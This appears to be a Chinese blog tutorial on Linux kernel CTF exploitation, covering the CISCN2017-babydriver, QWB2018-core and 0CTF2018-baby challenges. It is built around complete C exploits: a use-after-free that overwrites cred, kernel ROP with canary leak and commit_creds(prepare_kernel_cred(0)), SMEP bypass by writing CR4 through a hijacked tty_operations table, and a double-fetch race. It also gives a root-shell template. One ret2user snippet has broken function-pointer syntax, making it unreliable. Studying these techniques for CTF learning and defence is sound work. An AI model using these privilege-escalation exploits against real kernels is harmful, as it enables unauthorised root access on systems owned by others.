就从CTF WIKI的例题开始吧,此具有由易到难的特性,适合上手;
下载例题,那么我们便要开始分析了漏洞所在了;存在着三个文件boot.sh bzImage rootfs.cpio
,而rootfs.cpio
之中便是磁盘文件,而boot.sh
则是启动脚本,bzImage
就是内核镜像(压缩后)了,故我们利用./boot.sh
便直接可以启动一个虚拟机来运行运行内核为bzImage
、磁盘为rootfs.cpio
的系统了;
boot.sh
之中便存在着保护措施(smep)#!/bin/bash
qemu-system-x86_64 -initrd rootfs.cpio\
-kernel bzImage\ # 指定内核
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1'\ # 设备(这部分必须要有,这个就是终端)
-enable-kvm\ # 启动kvm(这个东西具体是啥不知道,但是是增加速度的)
-monitor /dev/null\ # qemu监视(非预期就是因为不存在这个)
-m 64M\ # 内存 这里我们可以修改大一点
--nographic\ # 无图形化
-smp cores=1,threads=1\ # 这个是啥来我也忘记了
-cpu kvm64,+smep # kvm64增加速度,smep(位于内核态无法执行用户态上的代码)
注意第6行需要删除,无论是Vm
还是Wsl
基本上对于kvm
这个快速模式是不匹配的,故我们删除此选项(不影响),同时我们应该将64M
内存增加到256M
,此时便可以正常运行该虚拟机了;
pwn@DESKTOP-A262SJV:/CISCN2017-babydriver$ mkdir fs
pwn@DESKTOP-A262SJV:/CISCN2017-babydriver$ cd fs/
pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ cp ../rootfs.cpio ./
pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ mv rootfs.cpio rootfs.cpio.gz
pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ gunzip ./rootfs.cpio.gz
pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ cpio -idmv < ./rootfs.cpio
pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ ls
bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr
pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ cat init
#!/bin/sh
mount -t proc none /proc # 挂载proc
mount -t sysfs none /sys # 挂载sys
mount -t devtmpfs devtmpfs /dev # 挂载dev
chown root:root flag
chmod 400 flag # 赋予flag root权限
exec 0/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko # 加载babydriver.ko驱动
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
根据init
文件内信息我们可以发现挂载了一个/lib/modules/4.4.72/babydriver.ko
驱动,大胆猜测漏洞点位于其中(就是),位于long babyioctl(file *filp,uint command,ulong arg)
函数之中,存在着UAF
漏洞;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P2zOJaGE-1667228018098)(https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/85051f947edf4465bc5a7847aa25dcf5~tplv-k3u1fbpfcp-zoom-1.image)]
#include
#include
#include
#include
#include
#include
int babyopen()
{
int fd = open("/dev/babydev", 2);
return fd;
}
void babyioctl(int fd)
{
ioctl(fd, 0x10001, 0xa8);
}
void babywirte(int fd, char *buf)
{
write(fd, buf, 28);
}
int main()
{
char buf[30] = {0};
int ret;
int fd1 = babyopen();
int fd2 = babyopen();
babyioctl(fd1); // 申请0xa8大小的堆块(内核态)
close(fd1); // 关闭fd1指针,并释放0xa8大小的堆块(内核态)
ret = fork(); // 创建一个新的进程,此时则利用到了上面所释放的一个0xa8堆块来存放cred结构体
if (ret == 0)
{
babywirte(fd2, &buf); // 子进程修改cre结构体标记位
if (getuid() == 0) // 此时提权成功
{
puts("[+] root now.");
system("/bin/sh"); // 获取权限
}
else
puts("[+] promotion failed now.");
}
else if (ret < 0)
{
puts("[*] fork error!");
exit(0);
}
else
{
wait(NULL); // 父进程等待子进程结束
}
close(fd2);
return 0;
}
在这个过程中我们需要不断调整exp
并存放入rootfs.cpio
磁盘镜像之中,故我们可以写一个脚本集合命令完成存放这一过程;
#!/bin/bash
gcc -masm=intel --static -g -o exp ./exp.c
mv ./exp ./fs/
cd ./fs/
find . | cpio -o --format=newc > ../core.cpio
cd ..
解压发现存在bzImage core.cpio start.sh vmlinux
,发现多出来一个文件vmlinux
,该文件为静态的内核镜像,可以理解为没有经过压缩的内核,而bzImage
则是经过了一层压缩;
首先查看启动脚本start.sh
如下,发现存在着kaslr
保护措施,就是地址随机化了;
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ # 此处存在着kaslr保护措施
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
并且我们还可以通过ropper --file ./vmlinux --nocolor > rop.txt
来搜索内核之中的gadget
(在内核上,ropper
的搜索速度往往比ROPgadget
快上不少)
与此同时,我们可以解压core.cpio
查看有漏洞的驱动,并通过ida
进行分析,其中的init
文件向我们揭示了需要内核参数,如kptr_restrict、dmesg_restrict
,可以发现该内核通过配置参数将内核地址保护的很严实,但并不代表着就无法泄露地址了;
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms # 这里将/proc/kallsyms信息保存至/tmp/kallsyms了
echo 1 > /proc/sys/kernel/kptr_restrict # kptr_restrict 防止泄露内核地址(/proc/kallsyms-modules显示value全部为0)
echo 1 > /proc/sys/kernel/dmesg_restrict # 内核参数 kernel.dmesg_restrict 指定非特权用户是否可以使用 dmesg 查看来自内核日志缓冲区的消息。要删除限制,请将其设置为零。
ifconfig eth0 up # 启动虚拟ip
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko # 挂载core驱动
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
分析core.ko
驱动:
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}
// 通过init_module驱动初始化函数,我们可以得知该设备自实现函数仅仅有core_write、core_ioctl、core_release;
// 而位于core_ioctl函数之中存在着其他函数core_read、core_copy_func等;相当于一个小型的note
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&bss_core_fd);
off = a3;
break;
case 0x6677889A:
printk(&success_core_cpoy);
core_copy_func(a3);
break;
}
return 0LL;
}
// 可以发现存在core_copy_func函数,而该函数之中却存在着溢出(整数安全)
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD stack[10]; // [rsp+0h] [rbp-50h] BYREF
stack[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 0x3F ) // 判读size大小不能超过0x3f,利用__int64的负数绕过
{
printk(&bss_overflow);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(stack, &name, (unsigned __int16 a1); // 由于__int64转到__int16符号,存在信息丢失,故可以利用此处进行栈溢出
}
return result;
}
#include
#include
#include
#include
#include
#include
#include
#include
#define true 1
#define false 0
#define u64 unsigned long long
u64 canary;
u64 commit_creds;
u64 prepare_kernel_cred;
u64 vmlinux_base;
u64 static_vmlinux_base = 0xffffffff81000000;
/*
pwn@DESKTOP-A262SJV:/QWB2018-core/give_to_player$ readelf -l vmlinux
Elf file type is EXEC (Executable file)
Entry point 0x1000000
There are 5 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000200000 0xffffffff81000000 0x0000000001000000
0x00000000010a7000 0x00000000010a7000 R E 0x200000
LOAD 0x0000000001400000 0xffffffff82200000 0x0000000002200000
0x000000000041d000 0x000000000041d000 RW 0x200000
LOAD 0x0000000001a00000 0x0000000000000000 0x000000000261d000
0x0000000000020898 0x0000000000020898 RW 0x200000
LOAD 0x0000000001a3e000 0xffffffff8263e000 0x000000000263e000
0x00000000000e0000 0x00000000001ae000 RWE 0x200000
NOTE 0x0000000000e03260 0xffffffff81c03260 0x0000000001c03260
0x0000000000000024 0x0000000000000024 0x4
Section to Segment mapping:
Segment Sections...
00 .text .notes __ex_table .rodata .pci_fixup __ksymtab __ksymtab_gpl __ksymtab_strings __param __modver
01 .data .orc_unwind_ip .orc_unwind .orc_lookup .vvar
02 .data..percpu
03 .init.text .altinstr_aux .init.data .x86_cpu_dev.init .altinstructions .altinstr_replacement .iommu_table .apicdrivers .exit.text .smp_locks .data_nosave .bss .brk
04 .notes
*/
void core_ioctl(int fd, unsigned int choice, u64 size)
{ ioctl(fd, choice, size); }
void core_read(int fd, char *buf)
{ core_ioctl(fd, 0x6677889B, (unsigned long long)buf); }
void edit_off(int fd, int offset)
{ core_ioctl(fd, 0x6677889C, offset); }
void core_copy_func(int fd)
{ core_ioctl(fd, 0x6677889A, 0xffffffffffff0100); }
void core_write(int fd, char *buf, int len)
{ write(fd, buf, len); }
void leak_canary(int fd)
{
char tmp[0x50];
puts("leak stack canary new!");
edit_off(fd, 0x40);
core_read(fd, (char*)&tmp);
canary = *((u64*)tmp);
printf("canary: 0x%llx\n", canary);
}
void find_symbols()
{
char buf[80],tmp[50];
int commit_creds_true = false,prepare_kernel_cred_true = false;
FILE* fd = fopen("/tmp/kallsyms", "r");
if (fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
else
puts("[*]open kallsyms success!");
while(fgets(buf, 0x50, fd) != NULL)
{
if (commit_creds_true && prepare_kernel_cred_true)
{
printf("[*]vmlinux_base: 0x%llx\n", vmlinux_base);
puts("[*]search symbols success!");
break;
}
if (strstr(buf, "commit_creds") && !commit_creds_true)
{
strncpy(tmp, buf, 16);
sscanf(tmp, "%llx", &commit_creds);
commit_creds_true = true;
puts("[*]commit_creds search success!");
printf("\tcommit_creds: 0x%llx\n", commit_creds);
vmlinux_base = commit_creds-0x9C8E0;
}
if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred_true)
{
strncpy(tmp, buf, 16);
sscanf(tmp, "%llx", &prepare_kernel_cred);
prepare_kernel_cred_true = true;
puts("[*]prepare_kernel_cred search success!");
printf("\tprepare_kernel_cred: 0x%llx\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred-0x9CCE0;
}
}
}
void root()
{
//system("/bin/sh");
if (!getuid())
{
puts("[*]root new!");
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t user_cs,user_ss,user_sp,user_rflags;
void save_state()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t rop[1024];
void ROPattack(int fd)
{
int i;
u64 pop_rdi_ret = 0xffffffff81000b2f - static_vmlinux_base + vmlinux_base;
u64 pop_rsi_ret = 0xffffffff810011d6 - static_vmlinux_base + vmlinux_base;
u64 pop_rdx_ret = 0xffffffff810a0f49 - static_vmlinux_base + vmlinux_base;
u64 pop_rcx_ret = 0xffffffff81021e53 - static_vmlinux_base + vmlinux_base;
u64 mov_rdi_rax_call_rdx = 0xffffffff8101aa6a - static_vmlinux_base + vmlinux_base;
u64 swapgs_popfq_ret = 0xffffffff81a012da - static_vmlinux_base + vmlinux_base;
u64 iretq_ret = 0xffffffff81050ac2 - static_vmlinux_base + vmlinux_base;
save_state();
for(i=0; i<10; i++)
{
rop[i] = canary;
}
rop[i++] = pop_rdi_ret;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0);
rop[i++] = pop_rdx_ret;
rop[i++] = pop_rcx_ret; // call rdx; 跳过rip
rop[i++] = mov_rdi_rax_call_rdx;
rop[i++] = commit_creds;
rop[i++] = swapgs_popfq_ret;
rop[i++] = 0;
rop[i++] = iretq_ret;
rop[i++] = (size_t)root;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
puts("==================attack==================");
core_write(fd, (char*)&rop, 0x800);
core_copy_func(fd);
}
/*
这里建议分阶段写出exp;
比如第一阶段leak_canary,泄露canary(内核);
第二阶段find_symbols,泄露内核地址;
第三阶段ROPattack利用栈溢出进行提权;
*/
// cat /sys/module/core/sections/.text
// gcc -masm=intel --static -g -o exp ./exp.c
int main()
{
int fd = open("/proc/core", 2);
leak_canary(fd);
find_symbols();
ROPattack(fd);
return 0;
}
这里启动的时候发生了如下问题,这是因为我们所给予的内存太少了,由两种解决办法,一种是给大点内存(我曾一度给到过512M
才能启动)。第二种方法则是将磁盘镜像内部内容减少一些,防止过多杂乱且无用的内容,这样就可以给予较少内存启动qemu
了;(下面报错翻译一下,就是说发生内核死锁了,没有可以结束的进程,然后卡4了,所以内存多点就可以避免死锁了;那么这个死锁是怎么发生的,是在解压磁盘镜像(太大了),导致内存不足的,而仅仅运行一个Linux
不需要那么多内存;
[ 0.023577] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
[ 0.803563] Kernel panic - not syncing: Out of memory and no killable processes...
[ 0.803563]
[ 0.804105] Rebooting in 1 seconds..
同时还有就是调试的时候,我们应该设置终端为root
权限,这样方便我们查看地址;而测试的时候我们则修改会user
权限;同时我们可以利用qemu内的cat /sys/module/core/sections/.text
查看core
的代码段基址;
ret2user
利用的前提则是smep
保护不存在或者被关闭,而在2018 强网杯 - core
题目当中,则仅仅存在着一个kaslr
保护而已,所以我们可以对于2. kernel ROP - 2018 强网杯 - core
的提权exp
进行一定的修改即可;
而仅仅只需要修改ROPattack
之中的rop
链条当中的commit_creds(prepare_kernel_cred(0));
为用户态代码即可;
void get_root()
{
char* pkc(int*) = prepare_kernel_cred;
void cc(char*) = commit_creds;
(*cc)((*pkc)(0));
}
size_t rop[1024];
void ROPattack(int fd)
{
int i;
u64 swapgs_popfq_ret = 0xffffffff81a012da - static_vmlinux_base + vmlinux_base;
u64 iretq_ret = 0xffffffff81050ac2 - static_vmlinux_base + vmlinux_base;
save_state();
for(i=0; i<10; i++)
{
rop[i] = canary;
}
rop[i++] = (size_t)get_root;
rop[i++] = swapgs_popfq_ret;
rop[i++] = 0;
rop[i++] = iretq_ret;
rop[i++] = (size_t)root;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
puts("==================attack==================");
core_write(fd, (char*)&rop, 0x800);
core_copy_func(fd);
}
同时,这里借由强网杯 - core
题目来谈谈用户态以及内核态之间的转换;这里也很简单,从用户态到内核态仅仅通过中断syscall
即可实现,而我们要谈的则是从内核态到用户态所需要准备的事情;
swapgs; iretq;
说来也简单,通过这两条汇编指令我们就可以实现从内核态转用户态,swapgs
指令是交换gs寄存器(GS 寄存器通常为包含每个 CPU 数据的结构保存一个基址),而iretq
指令则是中断返回(为中断返回的最后一条指令)。
与实址模式中断返回一样,IRET 指令分别将返回指令指针、返回代码段选择器和 EFLAGS 图像从堆栈弹出到 EIP、CS 和 EFLAGS 寄存器,然后继续执行中断的程序或过程。如果返回到另一个特权级别,则在恢复程序执行之前,IRET 指令还会从堆栈中弹出堆栈指针和 SS。如果返回到 virtual-8086 模式,处理器还会从堆栈中弹出数据段寄存器。
这里先作准备工作,本题我们将要使用一个工具extract-vmlinux,说是工具,实则为一个.sh
脚本。我们赋予其权限运行./extract-vmlinux ./bzImage > vmlinux
便可以得到未压缩的内核,此时我们便可以利用ropper
从vmlinux
之中得到一些gadget
。但是这里因为我的环境为wsl
,可以存在异常/bin/sh^M: bad interpreter: No such file or directory
,这是因为文件内在的格式不正确,我们可以通过vim
的命令模式设置set ff=unix
即可修复;
CISCN2017-babydriver
我们位于前面已经分析过了,故此处将不再重复分析;
UAF
利用cred
结构体的方法了,而是利用mov
指令修改cr4
寄存器关闭smep
保护,再利用ret2user
提权;不过仅仅依靠我们现有的知识也很难去针对一个存在smep
保护的程序进行提权利用了;所以这里我们需要提出几个Linux
概念来弥补我们所缺失的知识,我们再接下来利用过程之中便会使用到这些知识;
a. tty_struct
结构,在 open("/dev/ptmx", O_RDWR)
时会分配这样一个结构体,而其中的const struct tty_operations *ops;
则指向了一个函数指针结构体(可以理解为虚表)
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
...略
} __randomize_layout;
b. 有趣的结构体 tty_operations
,可谓pwn
手的风水宝地,其中内容大都为read
、write
等一系列操作
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
接下来我们便开始编写exp
啦
#include
#include
#include
#include
#include
#include
#include
#include
#define u64 unsigned long long
#define u32 unsigned int
#define u16 unsigned short
#define u8 unsigned char
#define commit_creds 0xffffffff810a1420
#define prepare_kernel_cred 0xffffffff810a1810
u64 vmlinux_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void root()
{
if (!getuid())
{
puts("[*]root new!");
system("/bin/sh");
}
else
puts("[*]spawn shell error!");
exit(0);
}
void babydev_ioctl(u32 fd, u64 size)
{ ioctl(fd, 0x10001, size); }
void get_0()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
size_t rop[1024];
void attack()
{
int i = 0;
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[30] = {0};
u64 pop_rdi_ret = 0xffffffff810d238d; // pop rdi; ret;
u64 movrc4rdi_poprbp_ret = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
u64 swapgs_pop_rbp_ret = 0xffffffff81063694; // swapgs; pop rbp; ret;
u64 iretq_ret = 0xffffffff814e35ef; // iretq; ret;
u64 mov_rsp_rax_ret = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret
u64 pop_rax_rbp_ret = 0xffffffff810635f5; // pop rax; pop rbp; ret;
rop[i++] = pop_rdi_ret;
rop[i++] = 0x6f0;
rop[i++] = movrc4rdi_poprbp_ret;
rop[i++] = 0;
rop[i++] = (size_t)get_0;
rop[i++] = swapgs_pop_rbp_ret;
rop[i++] = 0;
rop[i++] = iretq_ret;
rop[i++] = (size_t)root;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
for(i=0; i<30; i++)
{
fake_tty_operations[i] = mov_rsp_rax_ret;
}
fake_tty_operations[0] = pop_rax_rbp_ret;
fake_tty_operations[1] = (size_t)rop;
puts("[*]attack start!");
u32 fd1 = open("/dev/babydev", 2);
u32 fd2 = open("/dev/babydev", 2);
babydev_ioctl(fd1, 0x2e0);
close(fd1); // 造成了UAF
u32 fd_tty = open("/dev/ptmx", 2); // tty_struct(UAF)
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations; // 修改tty_operations指针指向伪造的结构体
write(fd2, fake_tty_struct, 32);
char buf[8] = {0};
write(fd_tty, buf, 8); // 利用write触发tty_operations结构体之中的函数(指针)
}
int main()
{
save_status();
attack();
return 0;
}
那么我们不禁有了疑问?为什么write
就能触发呢?在这个过程之中我们经历了什么,这个逻辑过程是什么样的?那么我们就需要如同学习堆一样学习Linux
内核部分,这就绕不开阅读源码了;说实话,这块还真不简单
这里发现这篇Linux内核深入理解系统调用讲解的很不错,我们可以跟随着这篇文章分析syscall
系统调用(中断)都作了哪些处理?这将使我们对于Linux
有了更深入一步的了解;如何我们直接上手调试的话,那么大概率我们将会晕头转向的无从处理这些不知道谁调用了谁的函数;
Double Fetch
从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争;为什么会出现这种情况呢?我们在这里假设一种情况,如果程序之中存在两个线程,一个线程用以提交指针(该指针指向用户态,而内核首先检测该指针的情况,之后再进行拷贝),那么第二个恶意线程则是不断的去修改指针指向内核态或者其他的位置,那么内核再检测过该指针后,进行拷贝时可能已经被第二个线程恶意修改了指针所指向的位置,那么这就造成了一个数据泄露;
0CTF2018-baby
作为习题进行练习;而整体逻辑比较简单:/* 仅仅存在着ioctl该一个函数 */
__int64 __fastcall sub_25(__int64 a1, int a2, __int64 a3)
{
int i; // [rsp+1Ch] [rbp-54h]
if ( a2 == 0x6666 ) // 泄露flag地址;
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
return 0LL;
}
else if ( a2 == 0x1337
&& !_chk_range_not_ok(a3, 16LL, *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 0x1358))
&& !_chk_range_not_ok(
*(_QWORD *)a3,
*(int *)(a3 + 8),
*(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 0x1358))
&& *(_DWORD *)(a3 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)a3 + i) != flag[i] ) // 循环对比flag是否正确
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag); // 如果正确则将输出flag
return 0LL;
}
else
{
return 14LL;
}
}
ioctl
函数,而另一个线程则是不断的去修改指针;#include
#include
#include
#include
#include
#include
#include
#include
#include
#define u64 unsigned long long
#define u32 unsigned int
#define u16 unsigned short
#define u8 unsigned char
#define LEN 0x1000
u64 flagaddr;
typedef struct kernel_struct{
char *buf;
size_t len;
}ks;
ks attr;
u8 leak_true = 0;
void leak_flagaddr()
{
char buf[LEN+1];
char *idx;
puts("[*]leak flagaddr start!");
system("dmesg > leak.txt");
u32 fd = open("leak.txt", O_RDONLY);
if (fd < 0)
{
perror("open leak low!");
}
lseek(fd, -LEN, SEEK_END); // 将读写指针设置最后一行
read(fd, buf, LEN);
idx = strstr(buf, "Your flag is at ");
if (idx == 0){
puts("[-]Not found addr");
exit(-1);
}
else
{
idx += 16;
flagaddr = strtoull(idx, NULL, 16); // 泄露地址
printf("[+]flag addr: %p\n", (void *)flagaddr);
leak_true = 1;
}
close(fd);
}
char bssbuf[0x50];
u8 change_ture;
void* change_ptr(void *nul) // 改变指针
{
while(!change_ture)
{
attr.buf = (char*)flagaddr;
}
}
void attack(u64 fd)
{
int i,ret;
pthread_t t;
puts("[*]attack start!");
change_ture = 0;
attr.len = 33;
attr.buf = bssbuf;
pthread_create(&t, NULL, change_ptr, NULL); // 启动恶意线程
for(i=0; i<3000; i++)
{
ret = ioctl(fd, 0x1337, &attr); // 不断循环的进行竞争
attr.buf = bssbuf;
}
change_ture = 1;
pthread_join(t, NULL);
}
int main()
{
u64 fd = open("/dev/baby", 2);
ioctl(fd,0x6666);
leak_flagaddr(); // 第一阶段,泄露
if (leak_true)
attack(fd); // 第二阶段,线程竞争
close(fd);
puts("[+]result is :");
system("dmesg | grep flag");
return 0;
}
如下为qemu其内部运行现象: (从本题当中我们将学习到了类似线程竞争的情况;
[ 0.039790] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
Boot took 1.07 seconds
/ $ ls
baby.ko dev exp home lib proc sbin tmp
bin etc flag init linuxrc root sys usr
/ $ ./exp
[*]leak flagaddr start!
[+]flag addr: 0xffffffffc0346028
[*]attack start!
[+]result is :
[ 3.357890] Your flag is at ffffffffc0346028! But I don't think you know it's content
[ 3.373977] Looks like the flag is not a secret anymore. So here is it flag{THIS_WILL_BE_YOUR_FLAG_1234}
/ $
如下,为提权模板:
#include
#include
#include
#include
#include
#include
#include
#include
#define u64 unsigned long long
#define u32 unsigned int
#define u16 unsigned short
#define u8 unsigned char
u64 commit_creds;
u64 prepare_kernel_cred;
u64 vmlinux_base;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void root()
{
if (!getuid())
{
puts("[*]root new!");
system("/bin/sh");
}
else
puts("[*]spawn shell error!");
exit(0);
}
int main()
{
return 0;
}
先发的站点(原文链接)在这里,都一样;